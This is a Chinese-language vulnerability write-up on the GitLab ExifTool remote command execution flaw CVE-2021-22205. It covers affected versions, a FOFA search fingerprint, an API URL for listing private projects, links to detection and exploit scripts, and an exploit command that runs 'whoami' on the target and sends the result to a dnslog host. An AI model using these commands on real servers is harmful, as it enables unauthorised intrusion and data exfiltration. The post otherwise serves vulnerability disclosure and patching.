Gitlab 远程命令执行漏洞(CVE-2021-22205)分析

0x01 前言

GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用。

0x02 漏洞分析

未授权的端口在于用户注册:https://xx.xx.xx.xx/users/sign_up

 

还可以滥用Gitlab API接口列出所有项目(包括私有项目)

https://xx.xx.xx.xx/api/v4/projects/?simple=yes&private=true&per_page=1000&page=1

此漏洞是通过上传功能来实现RCE的,漏洞出于ExifTool功能处,用于从图像中移除元数据的开源工具,因为此工具在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。

0x03 影响版本


  
  
  1. 11.9 <= Gitlab CE/EE < 13.8 .8
  2. 13.9 <= Gitlab CE/EE < 13.9 .6
  3. 13.10 <= Gitlab CE/EE < 13.10 .3

0x04 漏洞检测


  
  
  1. FOFA指纹:
  2. title= "GitLab"

漏洞检测脚本:

https://github.com/RedTeamWing/CVE-2021-22205icon-default.png?t=L9C2https://github.com/RedTeamWing/CVE-2021-22205

pocsuite3项目地址:

GitHub - knownsec/pocsuite3: pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.icon-default.png?t=L9C2https://github.com/knownsec/pocsuite3

备注:下载CVE-2021-22205.py脚本后,将CVE-2021-22205.py脚本放置pocsuite3项目的pocsuite3-master\pocsuite3\pocs目录下

 

执行以下命令:

python3 cli.py -r pocs/CVE-2021-22205.py -u ip:port --verify
  
  

EXP:https://github.com/r0eXpeR/CVE-2021-22205

执行以下命令:

python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"
  
  

 

 

0x06 修复建议

  1. 升级至最新版本,官方下载链接:https://about.gitlab.com/update/


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值